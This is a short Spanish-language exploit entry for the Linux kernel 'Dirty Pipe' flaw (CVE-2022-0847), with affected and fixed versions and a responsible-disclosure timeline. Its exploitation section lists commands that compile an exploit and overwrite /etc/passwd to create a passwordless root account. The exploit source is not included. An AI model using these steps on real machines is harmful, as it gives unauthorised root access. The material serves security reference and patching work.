CVE-2022-0847

Información

Exploit Title: Local Privilege Escalation in Linux kernel (CVE-2022-0847)
Date: 03/07/2022
Exploit Author: Max Kellermann <[email protected]>
Tested on: ubuntu 20.04.1 LTS
Affect product:Linux kernel 5.8 or later
Fixed Product:Linux kernel 5.16.11, 5.15.25, 5.10.102
CVE ID: CVE-2022-0847

Cómo explotarlo

Entorno de prueba:

Escalada de privilegios local

cp /etc/passwd /tmp/passwd.bak
gcc exp.c -o exp
./exp /etc/passwd 1 ootz:
su rootz
id

Referencia

https://dirtypipe.cm4all.com/

Cronología

• 2021-04-29: primer ticket de soporte sobre corrupción de archivos
• 2022-02-19: el problema de corrupción de archivos se identificó como un error del kernel de Linux, que resultó ser una vulnerabilidad explotable
• 2022-02-20: informe de error, exploit y parche enviados al equipo de seguridad del kernel de Linux
• 2022-02-21: error reproducido en Google Pixel 6; informe de error enviado al equipo de seguridad de Android
• 2022-02-21: parche enviado a LKML (sin detalles de vulnerabilidad) como lo sugirieron Linus Torvalds, Willy Tarreau y Al Viro
• 2022-02-23: lanzamientos estables de Linux con mi corrección de error (5.16.11, 5.15.25, 5.10.102)
• 2022-02-24: Google fusiona mi corrección de error en el kernel de Android
• 2022-02-28: notificado a la lista de correo linux-distros
• 2022-03-07: divulgación pública